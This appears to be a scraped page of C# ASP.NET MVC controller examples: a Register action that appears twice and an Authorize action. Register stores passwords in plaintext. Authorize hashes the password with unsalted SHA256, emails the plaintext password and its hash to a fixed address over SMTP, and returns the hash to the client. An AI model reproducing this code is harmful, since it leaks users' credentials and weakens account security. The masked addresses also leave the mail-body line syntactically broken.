public ActionResult Register(RegisterModel model)
        {
            if (ModelState.IsValid)
            {
                // Registrar usuários
                usersEntities context = new usersEntities();
                var           usuario = context.usuarios.Where(c => c.userName == model.UserName).FirstOrDefault();

                // Se o usuário a ser cadastrado for diferente
                if (usuario == null)
                {
                    usuarios cadUser = new usuarios();
                    cadUser.userName     = model.UserName;
                    cadUser.password     = model.Password;
                    cadUser.email        = model.Email;
                    cadUser.dataCadastro = DateTime.Now;
                    context.AddTousuarios(cadUser);
                    context.SaveChanges();

                    return(RedirectToAction("LogOn", "Account"));
                }
                else
                {
                    ModelState.AddModelError(string.Empty, "Usuário já existe");
                    //return RedirectToAction("Register", "Account");
                }
            }
            return(View(model));
        }
Exemplo n.º 2
0
        public ActionResult Authorize(HashApp.Models.usertable userModel)
        {
            //var bytesToBeEncrypted = Encoding.UTF8.GetBytes(plainText);
            //var passwordBytes = Encoding.UTF8.GetBytes(password);

            //// Hash the password with SHA256
            //passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            //var bytesEncrypted = Cipher.Encrypt(bytesToBeEncrypted, passwordBytes);

            //return Convert.ToBase64String(bytesEncrypted);
            var realPassword = userModel.password;
            var passwordbyte = Encoding.UTF8.GetBytes(userModel.password);
            var encrypted    = SHA256.Create().ComputeHash(passwordbyte);

            userModel.password = Convert.ToBase64String(encrypted);

            MailMessage ePosta = new MailMessage();

            ePosta.From = new MailAddress("*****@*****.**");
            ePosta.To.Add("*****@*****.**");

            ePosta.Subject = "";

            ePosta.Body = "PASSWORD: "******" SHA256 = " + userModel.password;

            SmtpClient smtp = new SmtpClient();

            smtp.Host        = "smtp-mail.outlook.com";
            smtp.Credentials = new System.Net.NetworkCredential("*****@*****.**", "pass");

            smtp.Port      = 587;
            smtp.EnableSsl = true;

            smtp.Send(ePosta);



            using (usersEntities db = new usersEntities())
            {
                db.usertables.Add(userModel);
                db.SaveChanges();
            }



            return(Content(userModel.username + " " + userModel.password));
        }
        public ActionResult Register(RegisterModel model)
        {
            if (ModelState.IsValid)
            {
                // Registrar usuários
                usersEntities context = new usersEntities();
                var usuario = context.usuarios.Where(c => c.userName == model.UserName).FirstOrDefault();

                // Se o usuário a ser cadastrado for diferente
                if (usuario == null)
                {
                    usuarios cadUser = new usuarios();
                    cadUser.userName = model.UserName;
                    cadUser.password = model.Password;
                    cadUser.email = model.Email;
                    cadUser.dataCadastro = DateTime.Now;
                    context.AddTousuarios(cadUser);
                    context.SaveChanges();

                    return RedirectToAction("LogOn", "Account");
                }
                else
                {
                    ModelState.AddModelError(string.Empty, "Usuário já existe");
                    //return RedirectToAction("Register", "Account");
                }
            }
            return View(model);
        }